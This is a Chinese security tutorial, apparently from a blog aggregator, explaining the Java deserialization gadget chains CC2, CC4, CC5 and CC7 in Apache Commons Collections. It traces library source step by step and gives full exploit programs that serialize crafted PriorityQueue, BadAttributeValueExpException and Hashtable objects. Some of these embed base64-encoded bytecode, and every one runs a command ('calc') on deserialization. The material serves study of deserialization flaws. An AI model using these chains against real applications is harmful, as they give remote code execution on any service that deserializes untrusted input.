[Java安全入门]六.CC2+CC4+CC5+CC7

2024-03-22 06:36
文章标签 java 入门 安全 cc2 cc4 cc5 cc7

本文主要是介绍[Java安全入门]六.CC2+CC4+CC5+CC7,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

一.前言

与前面几条cc不同的是,cc2的依赖是4.0版本,并且解决了高版本无法使用AnnotationInvocationHandler类的弊端。cc2使用javassist和PriorityQueue来构造链。

二.添加依赖

   <dependencies><!-- https://mvnrepository.com/artifact/commons-collections/commons-collections --><dependency><groupId>org.apache.commons</groupId><artifactId>commons-collections4</artifactId><version>4.0</version></dependency><dependency><groupId>org.javassist</groupId><artifactId>javassist</artifactId><version>3.22.0-GA</version></dependency></dependencies>

三.构造链

ObjectInputStream.readObject()PriorityQueue.readObject()...TransformingComparator.compare()InvokerTransformer.transform()Method.invoke()Runtime.exec()

四.分析

先看一下PriorityQueue类

 private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException {// Read in size, and any hidden stuffs.defaultReadObject();// Read in (and discard) array lengths.readInt();queue = new Object[size];// Read in all elements.for (int i = 0; i < size; i++)queue[i] = s.readObject();// Elements are guaranteed to be in "proper order", but the// spec has never explained what that might be.heapify();}

PriorityQueue类的readObject将反序列化得到数据放在queue数组里,然后调用heapify()方法形成一个二叉堆

跟进到heapify()方法

 private void heapify() {for (int i = (size >>> 1) - 1; i >= 0; i--)siftDown(i, (E) queue[i]);}

heapify()方法对传入的数据执行siftDown()方法

继续跟进到siftDown()

private void siftDown(int k, E x) {if (comparator != null)siftDownUsingComparator(k, x);elsesiftDownComparable(k, x);}

如果传入的比较器不是null的话,执行siftDownUsingComparator

继续跟进到siftDownUsingComparator

 private void siftDownUsingComparator(int k, E x) {int half = size >>> 1;while (k < half) {int child = (k << 1) + 1;Object c = queue[child];int right = child + 1;if (right < size &&comparator.compare((E) c, (E) queue[right]) > 0)c = queue[child = right];if (comparator.compare(x, (E) c) <= 0)break;queue[k] = c;k = child;}queue[k] = x;}

这里就是通过比较器来比较queue里面的数据,就是这一步里面的compare()方法可以通过作为跳板被TransformingComparator类使用。

看一下TransformingComparator类的构造器

 public TransformingComparator(final Transformer<? super I, ? extends O> transformer) {this(transformer, ComparatorUtils.NATURAL_COMPARATOR);}/*** Constructs an instance with the given Transformer and Comparator.** @param transformer  what will transform the arguments to <code>compare</code>* @param decorated  the decorated Comparator*/public TransformingComparator(final Transformer<? super I, ? extends O> transformer,final Comparator<O> decorated) {this.decorated = decorated;this.transformer = transformer;}

可以传入两个对象 一个是decoreated另一个是tansformer

看一下里面的compare方法

public int compare(final I obj1, final I obj2) {final O value1 = this.transformer.transform(obj1);final O value2 = this.transformer.transform(obj2);return this.decorated.compare(value1, value2);}

compare方法对传入的两个对象进行transform操作,正好接上了 cc1后面的链

所有就有链子

PriorityQueue.readObject()PriorityQueue.readObject()->heapify()->siftDown()-> siftDownUsingComparator()-        ->compare()TransformingComparator.compare()ChainedTransformer.transform()InvokerTransformer.transform()

五.exp

后面部分用的是cc3的newTransformer触发链

package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;import java.io.*;
import java.lang.reflect.Field;
import java.time.temporal.Temporal;
import java.util.Base64;
import java.util.PriorityQueue;public class Main {public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value); //因为属性都是私有属性,所以通过反射赋值}public static void main(String[] args) throws Exception {byte[] code = Base64.getDecoder().decode("yv66vgAAADMANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAUTEhlbGxvVGVtcGxhdGVzSW1wbDsBAA1TdGFja01hcFRhYmxlBwArBwApAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwACQAKBwAuDAAvADABAARjYWxjDAAxADIBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAzAAoBABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAAAwABAAkACgABAAsAAAB8AAIAAgAAABYqtwABuAACEgO2AARXpwAITCu2AAaxAAEABAANABAABQADAAwAAAAaAAYAAAAKAAQADAANAA8AEAANABEADgAVABAADQAAABYAAgARAAQADgAPAAEAAAAWABAAEQAAABIAAAAQAAL/ABAAAQcAEwABBwAUBAABABUAFgACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFAANAAAAIAADAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABUAHQACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGAANAAAAKgAEAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiAAAAAgAj");TemplatesImpl templates = new TemplatesImpl();//反射设置fieldsetFieldValue(templates, "_bytecodes", new byte[][]{code});setFieldValue(templates, "_name", "ta0");//执行template.newTransformerInvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});TransformingComparator comparator = new TransformingComparator(invokerTransformer);PriorityQueue priorityQueue = new PriorityQueue();//先设置正常的变量,后面可以通过反射调用修改属性priorityQueue.add(0);priorityQueue.add(0);//反射设置 FieldObject[] objects = new Object[]{templates, templates};setFieldValue(priorityQueue, "queue", objects);//object就传入我们要执行的命令setFieldValue(priorityQueue, "comparator", comparator);ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("tao.txt"));out.writeObject(priorityQueue);//序列化ObjectInputStream in = new ObjectInputStream(new FileInputStream("tao.txt"));in.readObject();//反序列化}
}

如CC果用TemplatesImpl和TrAXFilter也可以,其实这种不用  InvokerTransformer写法就是CC4

package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.time.temporal.Temporal;
import java.util.Base64;
import java.util.PriorityQueue;public class Main {public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value); //因为属性都是私有属性,所以通过反射赋值}public static void main(String[] args) throws Exception {byte[] bytes = Base64.getDecoder().decode("yv66vgAAADEAMQoACAAhCgAiACMIACQKACIAJQcAJgoABQAnBwAoBwApAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAaTGNvbS9jYy9UZXN0VGVtcGxhdGVzSW1wbDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAKgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEAFlRlc3RUZW1wbGF0ZXNJbXBsLmphdmEMAAkACgcAKwwALAAtAQAEY2FsYwwALgAvAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAMAAKAQAYY29tL2NjL1Rlc3RUZW1wbGF0ZXNJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAMAAQAJAAoAAQALAAAAZgACAAIAAAAWKrcAAbgAAhIDtgAEV6cACEwrtgAGsQABAAQADQAQAAUAAgAMAAAAGgAGAAAADAAEAA4ADQARABAADwARABAAFQASAA0AAAAWAAIAEQAEAA4ADwABAAAAFgAQABEAAAABABIAEwACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFgANAAAAIAADAAAAAQAQABEAAAAAAAEAFAAVAAEAAAABABYAFwACABgAAAAEAAEAGQABABIAGgACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGgANAAAAKgAEAAAAAQAQABEAAAAAAAEAFAAVAAEAAAABABsAHAACAAAAAQAdAB4AAwAYAAAABAABABkAAQAfAAAAAgAg");TemplatesImpl templatesImpl = new TemplatesImpl();setFieldValue(templatesImpl, "_name", "Ta0"); //_name 赋值为TestTemplatesImplsetFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});//_bytecodes赋值为字节数组Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),//构造方法中的的newTransformer()方法正好是TemplatesImpl链里面的第一步new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})        //利用InstantiateTransformer的transform()来调用到TrAXFilter的构造方法};/* Transformer [] transformers = new Transformer[]{new ConstantTransformer(templatesImpl),new InvokerTransformer("newTransformer",null,null)};*/ChainedTransformer chain = new ChainedTransformer(transformers); //触发利用链TransformingComparator comparator = new TransformingComparator(chain);PriorityQueue priorityQueue = new PriorityQueue();//先设置正常的变量,后面可以通过反射调用修改属性priorityQueue.add(0);priorityQueue.add(0);//反射设置 FieldObject[] objects = new Object[]{chain,chain};setFieldValue(priorityQueue, "queue", objects);//object就传入我们要执行的命令setFieldValue(priorityQueue, "comparator", comparator);ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("tao.txt"));out.writeObject(priorityQueue);//序列化ObjectInputStream in = new ObjectInputStream(new FileInputStream("tao.txt"));in.readObject();//反序列化}
}

六.其他链

 1.cc4

刚才说过了就是把cc2的 InvokerTransformer换成InstantiateTransformer写法

package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.time.temporal.Temporal;
import java.util.Base64;
import java.util.PriorityQueue;public class Main {public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value); //因为属性都是私有属性,所以通过反射赋值}public static void main(String[] args) throws Exception {byte[] bytes = Base64.getDecoder().decode("yv66vgAAADEAMQoACAAhCgAiACMIACQKACIAJQcAJgoABQAnBwAoBwApAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAaTGNvbS9jYy9UZXN0VGVtcGxhdGVzSW1wbDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAKgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEAFlRlc3RUZW1wbGF0ZXNJbXBsLmphdmEMAAkACgcAKwwALAAtAQAEY2FsYwwALgAvAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAMAAKAQAYY29tL2NjL1Rlc3RUZW1wbGF0ZXNJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAMAAQAJAAoAAQALAAAAZgACAAIAAAAWKrcAAbgAAhIDtgAEV6cACEwrtgAGsQABAAQADQAQAAUAAgAMAAAAGgAGAAAADAAEAA4ADQARABAADwARABAAFQASAA0AAAAWAAIAEQAEAA4ADwABAAAAFgAQABEAAAABABIAEwACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFgANAAAAIAADAAAAAQAQABEAAAAAAAEAFAAVAAEAAAABABYAFwACABgAAAAEAAEAGQABABIAGgACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGgANAAAAKgAEAAAAAQAQABEAAAAAAAEAFAAVAAEAAAABABsAHAACAAAAAQAdAB4AAwAYAAAABAABABkAAQAfAAAAAgAg");TemplatesImpl templatesImpl = new TemplatesImpl();setFieldValue(templatesImpl, "_name", "Ta0"); //_name 赋值为TestTemplatesImplsetFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});//_bytecodes赋值为字节数组Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),//构造方法中的的newTransformer()方法正好是TemplatesImpl链里面的第一步new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})        //利用InstantiateTransformer的transform()来调用到TrAXFilter的构造方法};/* Transformer [] transformers = new Transformer[]{new ConstantTransformer(templatesImpl),new InvokerTransformer("newTransformer",null,null)};*/ChainedTransformer chain = new ChainedTransformer(transformers); //触发利用链TransformingComparator comparator = new TransformingComparator(chain);PriorityQueue priorityQueue = new PriorityQueue();//先设置正常的变量,后面可以通过反射调用修改属性priorityQueue.add(0);priorityQueue.add(0);//反射设置 FieldObject[] objects = new Object[]{chain,chain};setFieldValue(priorityQueue, "queue", objects);//object就传入我们要执行的命令setFieldValue(priorityQueue, "comparator", comparator);ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("tao.txt"));out.writeObject(priorityQueue);//序列化ObjectInputStream in = new ObjectInputStream(new FileInputStream("tao.txt"));in.readObject();//反序列化}
}

2.cc5

利用TiedMapEntry.hashCode->get来触发LazyMap的get方法

利用链

BadAttributeValueExpException.readObject()
TiedMapEntry.toString()TiedMapEntry.getValue()LazyMap.get()ChainedTransformer.transform()InvokerTransformer.transform()

简单分析一下

   private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {ObjectInputStream.GetField gf = ois.readFields();Object valObj = gf.get("val", null);if (valObj == null) {val = null;} else if (valObj instanceof String) {val= valObj;} else if (System.getSecurityManager() == null|| valObj instanceof Long|| valObj instanceof Integer|| valObj instanceof Float|| valObj instanceof Double|| valObj instanceof Byte|| valObj instanceof Short|| valObj instanceof Boolean) {val = valObj.toString();} else { // the serialized object is from a version without JDK-8019292 fixval = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();}}

BadAttributeValueExpException的readObject方法调用了toString方法

在TiedMapEntry中的toString方法调用了getValue

 public String toString() {return getKey() + "=" + getValue();}

而getValue又调用get方法,这样就能调用LazyMap的get方法,进而调用ChainedTransform

 public Object getValue() {return map.get(key);}

exp

package org.example;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;public class Main {public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {ChainedTransformer chain = new ChainedTransformer(new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null,new Object[0] }),new InvokerTransformer("exec",new Class[] { String.class }, new Object[]{"calc"})});Map<Object, Object> hashMap = new HashMap<>();Map<Object, Object> lazymap = LazyMap.decorate(hashMap,chain);//将lazyMap传给TiedMapEntryTiedMapEntry entry = new TiedMapEntry(lazymap, "ta0");BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);Field val = badAttributeValueExpException.getClass().getDeclaredField("val");val.setAccessible(true);val.set(badAttributeValueExpException,entry);//反射把TiedMapEntry赋给BadAttributeValueExpException 的val属性ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("tao.txt"));out.writeObject(badAttributeValueExpException);//序列化ObjectInputStream in = new ObjectInputStream(new FileInputStream("tao.txt"));in.readObject();//反序列化}
}

3.cc7

cc7也是触发LazyMap的get方法,这里利用到一个新的类Hashtable       

先看一下Hashtable的readObject方法对传入的键值调用了reconstitutionPut()方法

private void readObject(java.io.ObjectInputStream s)throws IOException, ClassNotFoundException{// Read in the length, threshold, and loadfactors.defaultReadObject();// Read the original length of the array and number of elementsint origlength = s.readInt();int elements = s.readInt();// Compute new size with a bit of room 5% to grow but// no larger than the original size.  Make the length// odd if it's large enough, this helps distribute the entries.// Guard against the length ending up zero, that's not valid.int length = (int)(elements * loadFactor) + (elements / 20) + 3;if (length > elements && (length & 1) == 0)length--;if (origlength > 0 && length > origlength)length = origlength;table = new Entry<?,?>[length];threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);count = 0;// Read the number of elements and then all the key/value objectsfor (; elements > 0; elements--) {@SuppressWarnings("unchecked")K key = (K)s.readObject();@SuppressWarnings("unchecked")V value = (V)s.readObject();// synch could be eliminated for performancereconstitutionPut(table, key, value);}}

跟进到reconstitutionPut(),通过调用key的equals方法来判断是真的hash碰撞,而且传入的元素至少是两个,并且hash值相同

    private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)throws StreamCorruptedException{if (value == null) {throw new java.io.StreamCorruptedException();}// Makes sure the key is not already in the hashtable.// This should not happen in deserialized version.int hash = key.hashCode();int index = (hash & 0x7FFFFFFF) % tab.length;for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {if ((e.hash == hash) && e.key.equals(key)) {throw new java.io.StreamCorruptedException();}}// Creates the new entry.@SuppressWarnings("unchecked")Entry<K,V> e = (Entry<K,V>)tab[index];tab[index] = new Entry<>(hash, key, value, e);count++;}

而LazyMap的父类AbstractMapDecorator类里面也有个equals方法,这里仅仅是比较两个key的引用是否为同一个,如果不是,则继续调用map的equals,所以可以通过LazyMap的静态方法decorate将HashMap传给map属性

  public boolean equals(Object object) {if (object == this) {return true;}return map.equals(object);}

HashMap本身成员没有equals方法,但是HashMap继承了父类AbstractMap里面有一个equals方法

public boolean equals(Object o) {if (o == this)return true;if (!(o instanceof Map))return false;Map<?,?> m = (Map<?,?>) o;if (m.size() != size())return false;try {Iterator<Entry<K,V>> i = entrySet().iterator();while (i.hasNext()) {Entry<K,V> e = i.next();K key = e.getKey();V value = e.getValue();if (value == null) {if (!(m.get(key)==null && m.containsKey(key)))return false;} else {if (!value.equals(m.get(key)))return false;}}} catch (ClassCastException unused) {return false;} catch (NullPointerException unused) {return false;}return true;}

先是判断是否为同一对象,然后判断对象的类型,最后判断map中的元素个数。到try内部,如果value不为null会调用m的get方法,m

所以有构造链

Hashtable.readObject-->Hashtable.reconstitutionPut-->AbstractMap.equals-->LazyMap.get--> ->ChainedTransformer

最后抄一个网上的exp

package org.example;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.reflect.Field;
import java.util.AbstractMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;public class Main {public static void main(String[] args) throws NoSuchFieldException, IOException, IllegalAccessException, ClassNotFoundException {Transformer[] fakeTransformer = new Transformer[]{};Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};//ChainedTransformer实例//先设置假的 Transformer 数组,防止生成时执行命令Transformer chainedTransformer = new ChainedTransformer(fakeTransformer);//LazyMap实例Map innerMap1 = new HashMap();Map innerMap2 = new HashMap();Map lazyMap1 = LazyMap.decorate(innerMap1,chainedTransformer);lazyMap1.put("yy", 1);Map lazyMap2 = LazyMap.decorate(innerMap2,chainedTransformer);lazyMap2.put("zZ", 1);Hashtable hashtable = new Hashtable();hashtable.put(lazyMap1, "test");hashtable.put(lazyMap2, "test");//通过反射设置真的 ransformer 数组Field field = chainedTransformer.getClass().getDeclaredField("iTransformers");field.setAccessible(true);field.set(chainedTransformer, transformers);//上面的 hashtable.put 会使得 lazyMap2 增加一个 yy=>yy,所以这里要移除lazyMap2.remove("yy");ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("tao.txt"));out.writeObject(hashtable);//序列化ObjectInputStream in = new ObjectInputStream(new FileInputStream("tao.txt"));in.readObject();//反序列化}
}

参考

CC链 1-7 分析 - 先知社区 (aliyun.com)

12-java安全——java反序列化CC7链分析-CSDN博客

这篇关于[Java安全入门]六.CC2+CC4+CC5+CC7的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/834736

相关文章

javax.net.ssl.SSLHandshakeException:异常原因及解决方案

《javax.net.ssl.SSLHandshakeException:异常原因及解决方案》javax.net.ssl.SSLHandshakeException是一个SSL握手异常,通常在建立SS... 目录报错原因在程序中绕过服务器的安全验证注意点最后多说一句报错原因一般出现这种问题是因为目标服务器

Java实现删除文件中的指定内容

《Java实现删除文件中的指定内容》在日常开发中,经常需要对文本文件进行批量处理,其中,删除文件中指定内容是最常见的需求之一,下面我们就来看看如何使用java实现删除文件中的指定内容吧... 目录1. 项目背景详细介绍2. 项目需求详细介绍2.1 功能需求2.2 非功能需求3. 相关技术详细介绍3.1 Ja

springboot项目中整合高德地图的实践

《springboot项目中整合高德地图的实践》:本文主要介绍springboot项目中整合高德地图的实践,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一:高德开放平台的使用二:创建数据库(我是用的是mysql)三:Springboot所需的依赖(根据你的需求再

spring中的ImportSelector接口示例详解

《spring中的ImportSelector接口示例详解》Spring的ImportSelector接口用于动态选择配置类,实现条件化和模块化配置,关键方法selectImports根据注解信息返回... 目录一、核心作用二、关键方法三、扩展功能四、使用示例五、工作原理六、应用场景七、自定义实现Impor

SpringBoot3应用中集成和使用Spring Retry的实践记录

《SpringBoot3应用中集成和使用SpringRetry的实践记录》SpringRetry为SpringBoot3提供重试机制,支持注解和编程式两种方式,可配置重试策略与监听器,适用于临时性故... 目录1. 简介2. 环境准备3. 使用方式3.1 注解方式 基础使用自定义重试策略失败恢复机制注意事项

SpringBoot整合Flowable实现工作流的详细流程

《SpringBoot整合Flowable实现工作流的详细流程》Flowable是一个使用Java编写的轻量级业务流程引擎,Flowable流程引擎可用于部署BPMN2.0流程定义,创建这些流程定义的... 目录1、流程引擎介绍2、创建项目3、画流程图4、开发接口4.1 Java 类梳理4.2 查看流程图4

一文详解如何在idea中快速搭建一个Spring Boot项目

《一文详解如何在idea中快速搭建一个SpringBoot项目》IntelliJIDEA作为Java开发者的‌首选IDE‌,深度集成SpringBoot支持,可一键生成项目骨架、智能配置依赖,这篇文... 目录前言1、创建项目名称2、勾选需要的依赖3、在setting中检查maven4、编写数据源5、开启热

Java对异常的认识与异常的处理小结

